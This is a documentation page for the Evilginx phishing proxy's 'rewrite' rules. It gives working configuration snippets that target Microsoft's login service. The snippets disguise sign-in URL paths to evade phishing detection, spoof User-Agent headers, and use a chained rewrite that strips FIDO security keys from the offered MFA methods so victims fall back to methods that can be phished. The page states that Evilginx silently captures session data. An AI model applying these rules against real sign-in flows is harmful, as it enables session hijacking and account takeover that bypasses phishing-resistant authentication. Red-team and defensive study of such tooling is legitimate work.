Skip to main content

Rewrite

The rewrite section is where most of a phishlet's behavior lives. It defines how the proxy modifies HTTP traffic as it flows through, so that the visitor sees a coherent login experience while Evilginx silently captures session data.

There are three independent subsections:

SubsectionPurpose
urlsRewrite client-visible URL paths — disguise sign-in endpoints so they don't look like canonical login URLs.
requestsModify outgoing requests before they reach the upstream server.
responsesModify incoming responses before they reach the visitor's browser.

A rewrite is built from three building blocks:

  • A Trigger decides which request or response the rule applies to.
  • A Locator identifies what data inside the packet the rule operates on.
  • A rewrite describes how the data is transformed (its action and replacement value).
{
trigger: { hostname: "akira.lab.evilginx.com", path: "/api/v1/auth/login" },
locator: { scope: "body", format: "raw", match_value: '~([a-zA-Z0-9.]+%40[a-zA-Z0-9.]+)' },
rewrite: { value: 'ble%40blibli.com' }
}

URLs

rewrite.urls rewrites the URL path the visitor sees in their address bar, decoupling it from the upstream URL the proxy actually fetches. The original URL still drives the upstream request, but the browser sees a disguised path. This is primarily used to evade phishing-detection heuristics that compare URL paths against a list of known login endpoints.

Each entry looks like this:

{
trigger: { hostname: "login.microsoftonline.com", path: "/common/oauth2/v2.0/authorize" },
rewrite: { path: "/o/auth", query: { v: "boop-${rewrite_id}" } },
options: { exclude_keys: ["client_id"] }
}
FieldTypeRequiredDescription
triggertriggeryesSelects the request whose URL is rewritten. URL-rewrite triggers cannot use header or method.
rewrite.pathstringyesThe path the browser will display. Auto-prefixed with / if you omit it.
rewrite.querymap<string,string>noExtra query parameters added to the displayed URL.
options.exclude_keys[]stringnoOriginal query parameter names to preserve in the rewritten URL. By default all original query parameters are hidden.
${rewrite_id} is required

At least one of rewrite.path or any value in rewrite.query must contain the ${rewrite_id} placeholder. The parser refuses to load a rule without it. The placeholder is replaced with a random integer per request, used as an index to match the displayed path back to the original.

How it works

Given the rule above, a request to:

/common/oauth2/v2.0/authorize?client_id=ABCD&var=something&uid=123

becomes (in the browser's address bar):

/o/auth?v=boop-123456&client_id=ABCD
  • client_id is preserved because it was listed in exclude_keys — useful when client-side JavaScript reads it from the URL.
  • var and uid are hidden but still forwarded to the upstream server when the proxy translates the disguised URL back to the original.

A simpler form uses ${rewrite_id} directly in the path:

{
trigger: { hostname: "login.microsoftonline.com", path: "/common/login" },
rewrite: { path: "/o/l/${rewrite_id}" }
}

Requests & responses

Entries under rewrite.requests[] apply to outgoing HTTP requests; entries under rewrite.responses[] apply to incoming HTTP responses. The two arrays share the same structure.

Simple rewrites

{
trigger: { hostname: "akira.lab.evilginx.com", path: "*" },
locator: {
scope: "headers",
match_key: "User-Agent",
match_value: '~(.*\\sChrome\\/)([0-9\\.]*)(.*)'
},
rewrite: { action: "update", key: "@", value: '${1}123.0.0${3}' }
}
FieldTypeRequiredDescription
triggertriggeryesSelects the request or response.
locatorlocatoryesIdentifies the data to operate on.
rewrite.actionstringonly for key/value scopesOne of create, update, delete. See Actions.
rewrite.key[matcher] / [json_path]only for key/value scopesThe key targeted by the action. Often @ (the matched key itself). For JSON scope this is a JSON Path.
rewrite.valuestringyes (except for delete)The replacement value. Supports ${0}${N} capture groups, ${param} substitution, and @file payload loading.
rewrite.chained_valuestringnoUsed only inside chains. Ignored in simple rewrites.

Actions

The action field is required for key/value locator scopes (URL query, headers, cookies, body JSON / form) and forbidden for non-key scopes (URL path, body raw — for those the rewrite is always a value replacement and value alone is used).

ActionEffectkey fieldvalue field
createAdds a new key/value pair only if the key does not already exist in the matched scope.required (name of the new key)required
updateReplaces the value of the matched key, only if it already exists.required (typically @ to mean "the matched key")required
deleteRemoves the matched key.requirednot used

The special key: "@" means "the key the locator matched". For JSON paths, @-1, @.child, etc. are also valid — see JSON Path → Self / parent / child references.

Capture groups and parameter substitution

When the locator's match_value is a regular expression, its capture groups are available in rewrite.value (and rewrite.chained_value) as ${0} for the whole match, ${1} for the first group, and so on.

// Pin Chrome to a fixed version regardless of what the client claims:
{
trigger: { hostname: "akira.lab.evilginx.com", path: "*" },
locator: {
scope: "headers",
match_key: "User-Agent",
match_value: '~(.*\\sChrome\\/)([0-9\\.]*)(.*)'
},
rewrite: { action: "update", key: "@", value: '${1}123.0.0${3}' }
}

${param} parameter placeholders from params are also substituted in value. See the String Matcher reference for the resolution order.

Loading the replacement from a file

Prefix rewrite.value with @ to load the payload from the phishlet's static/ directory. The file path is relative to that directory:

// Set the Server header to the contents of static/nginx.txt:
{
trigger: { hostname: "akira.lab.evilginx.com", path: "/" },
locator: { scope: "headers", match_key: "User-Agent", match_value: '~(.*)' },
rewrite: { action: "create", key: "Server", value: "@nginx.txt" }
}

To use a literal @ at the start of a value, escape it: "\\@literal".

Chained rewrites

A chain stacks multiple rewrites on the same matched block of data. The first chain item locates and (optionally) modifies the data; subsequent items operate on whatever the previous item produced. This is how you reach into structured content that lives inside opaque content — for example, JSON embedded in an HTML response.

A chain replaces the usual locator / rewrite pair at the top of the rule:

{
trigger: { hostname: "login.microsoftonline.com", path: "*" },
chain: [
{
locator: { scope: "body", format: "raw", match_value: '~\\$Config=({.*});' },
rewrite: { value: '$Config=${1};', chained_value: '${1}' }
}
{
locator: {
scope: "body", format: "json",
match_key: 'arrUserProofs.[*].authMethodId',
match_value: 'FidoKey'
},
rewrite: { action: 'delete', key: '@-1' }
}
]
}

How that example reads:

  1. The first item parses the HTML response body as raw text, captures the inline $Config={...}; JSON object, and emits two values:
    • rewrite.value ('$Config=${1};') is what gets written back into the response body — unchanged content in this case.
    • rewrite.chained_value ('${1}') is the data that flows into the next chain item — the captured JSON only.
  2. The second item parses the chained value as JSON, finds every arrUserProofs[*].authMethodId whose value is "FidoKey", and deletes the parent object (@-1) — removing the FIDO key as an available MFA method.

Chain rules

FieldTypeRequiredDescription
triggertriggeryesSelects the packet to operate on.
chain[].locatorlocatoryesWhere to look in the current input.
chain[].rewrite.actionstringfor key/value scopesSee Actions.
chain[].rewrite.key[matcher] / [json_path]for key/value scopesSee Actions.
chain[].rewrite.valuestringyes (except delete)What to write back into the current input.
chain[].rewrite.chained_valuestringnoThe value passed to the next chain item. If omitted, the chain effectively stops affecting the input handed to the next step.
Chain scope restrictions

Only the first chain item can use any locator scope that yields a string. Every subsequent item must use body scope (with raw, json, or form format) because it operates on the previous item's output. The parser rejects a chain that violates this with "subsequent items in the rewrite chain can only use the scope `body` to rewrite the forwarded value".

A chain cannot coexist with sibling locator / rewrite fields — choose one form per rule.